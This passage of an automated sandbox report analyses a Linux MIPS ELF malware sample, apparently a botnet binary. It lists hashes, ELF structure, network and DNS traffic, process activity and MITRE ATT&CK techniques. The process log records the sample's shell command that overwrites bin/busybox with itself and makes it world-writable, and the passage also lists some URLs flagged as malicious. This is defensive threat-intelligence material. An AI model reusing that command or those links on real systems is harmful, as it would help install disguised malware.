	https://districtwharfoffices.com/l/home	Get hash	malicious	Unknown	Browse	3.164.182.25
	https://wetransfer.com/downloads/a83584fea59b11ef1e94d36869e8790020241209234540/89744b9472f9ce1b5e3b4ada79f2184c20241209234540/7041ff?t_exp=1734047140&t_lsid=42d44d78-6d8f-48db-8db5-5efa0c86786d&t_network=email&t_rid=ZW1haWx8Njc0ZjQ5YTNiNjM1NTFjNmY2NTg0N2Zj&t_s=download_link&t_ts=1733787940&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	Unknown	Browse	13.227.2.22

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.443509387309656
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	.5r3fqt67ew531has4231.mpsl.elf
File size:	259'092 bytes
MD5:	663ac1bdb34abacde4a22fc79864e968
SHA1:	5772847c44e6d5d560c6a89595fd621ced0c9e1d
SHA256:	451c5699be2feac88af56d5cbfbb5efc9561794ec93844d1a010d9e6bc815f57
SHA512:	4cf9b5d8ff009018451cfecb98e6c28e217a9969cc1a29024da16d157af3658b777c3ac66ec162decb629d7b270d069122a981be1144261668541c9800738344
SSDEEP:	3072:KQI6B2S63X5wy/gFTp6bD9faWpV25qyphC6SCemnrtZmIqwbZnM:K96B2S63pwyHyCIhC/sriHwRM
TLSH:	EF44E70A6F610EF7E8AFCD3712E90B0525CC954B22A43B757574D918F54A64F0AE3CB8
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@.@...@...............D...D.G.D.G.<^..............Q.td...............................<.e.'!......'.......................<.e.'!... .........9'.. ........................<.e.'!...$........09

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	258532
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x33030	0x0	0x6	AX	16
.fini	PROGBITS	0x433150	0x33150	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4331b0	0x331b0	0x6190	0x0	0x2	A	16
.ctors	PROGBITS	0x479344	0x39344	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x479350	0x39350	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x47935c	0x3935c	0x8b0	0x0	0x3	WA	4
.data	PROGBITS	0x479c20	0x39c20	0x4a58	0x0	0x3	WA	32
.got	PROGBITS	0x47e680	0x3e680	0xb00	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x47f180	0x3f180	0x90	0x0	0x10000003	WAp	4
.bss	NOBITS	0x47f210	0x3f180	0x4b10	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x1320	0x3f180	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x3f180	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x39340	0x39340	5.7025	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x39344	0x479344	0x479344	0x5e3c	0xa9dc	1.7128	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 18:25:00.332226992 CET	443	37674	54.217.10.153	192.168.2.13
Dec 10, 2024 18:25:00.332346916 CET	37674	443	192.168.2.13	54.217.10.153
Dec 10, 2024 18:25:00.451939106 CET	443	37674	54.217.10.153	192.168.2.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 18:25:01.649688959 CET	55427	53	192.168.2.13	1.1.1.1
Dec 10, 2024 18:25:01.649760962 CET	54447	53	192.168.2.13	1.1.1.1
Dec 10, 2024 18:25:01.792141914 CET	53	54447	1.1.1.1	192.168.2.13
Dec 10, 2024 18:25:01.894085884 CET	53	55427	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 18:25:01.649688959 CET	192.168.2.13	1.1.1.1	0x1f67	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 18:25:01.649760962 CET	192.168.2.13	1.1.1.1	0xf7ed	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 18:25:01.894085884 CET	1.1.1.1	192.168.2.13	0x1f67	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Dec 10, 2024 18:25:01.894085884 CET	1.1.1.1	192.168.2.13	0x1f67	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: dash PID: 5424, Parent PID: 3581

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5424, Parent PID: 3581

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.MLUwFpj4Yn /tmp/tmp.6lbeKTnKC1 /tmp/tmp.0oMEmhu7RZ
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 5425, Parent PID: 3581

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5425, Parent PID: 3581

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.MLUwFpj4Yn /tmp/tmp.6lbeKTnKC1 /tmp/tmp.0oMEmhu7RZ
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, Parent PID: 5348

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/tmp/.5r3fqt67ew531has4231.mpsl.elf
Arguments:	/tmp/.5r3fqt67ew531has4231.mpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: .5r3fqt67ew531has4231.mpsl.elf PID: 5452, Parent PID: 5450

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/tmp/.5r3fqt67ew531has4231.mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5452, Parent PID: 5450

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/.5r3fqt67ew531has4231.mpsl.elf bin/busybox; chmod 777 bin/busybox"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5454, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5454, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/rm
Arguments:	rm -rf bin/busybox
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: sh PID: 5455, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: mkdir PID: 5455, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir bin
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Chronological Activities

Analysis Process: sh PID: 5456, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: mv PID: 5456, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/.5r3fqt67ew531has4231.mpsl.elf bin/busybox
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Chronological Activities

Analysis Process: sh PID: 5457, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5457, Parent PID: 5452

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 bin/busybox
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: .5r3fqt67ew531has4231.mpsl.elf PID: 5458, Parent PID: 5450

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/tmp/.5r3fqt67ew531has4231.mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: .5r3fqt67ew531has4231.mpsl.elf PID: 5460, Parent PID: 5458

General

Start time (UTC):	17:25:00
Start date (UTC):	10/12/2024
Path:	/tmp/.5r3fqt67ew531has4231.mpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

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Linux Analysis Report .5r3fqt67ew531has4231.mpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: dash PID: 5424, Parent PID: 3581

General

Chronological Activities

Analysis Process: rm PID: 5424, Parent PID: 3581

General

Chronological Activities

Analysis Process: dash PID: 5425, Parent PID: 3581

General

Chronological Activities

Analysis Process: rm PID: 5425, Parent PID: 3581

General

Chronological Activities

Analysis Process: .5r3fqt67ew531has4231.mpsl.elf PID: 5450, Parent PID: 5348

General

Chronological Activities

Analysis Process: .5r3fqt67ew531has4231.mpsl.elf PID: 5452, Parent PID: 5450

General

Linux Analysis Report
.5r3fqt67ew531has4231.mpsl.elf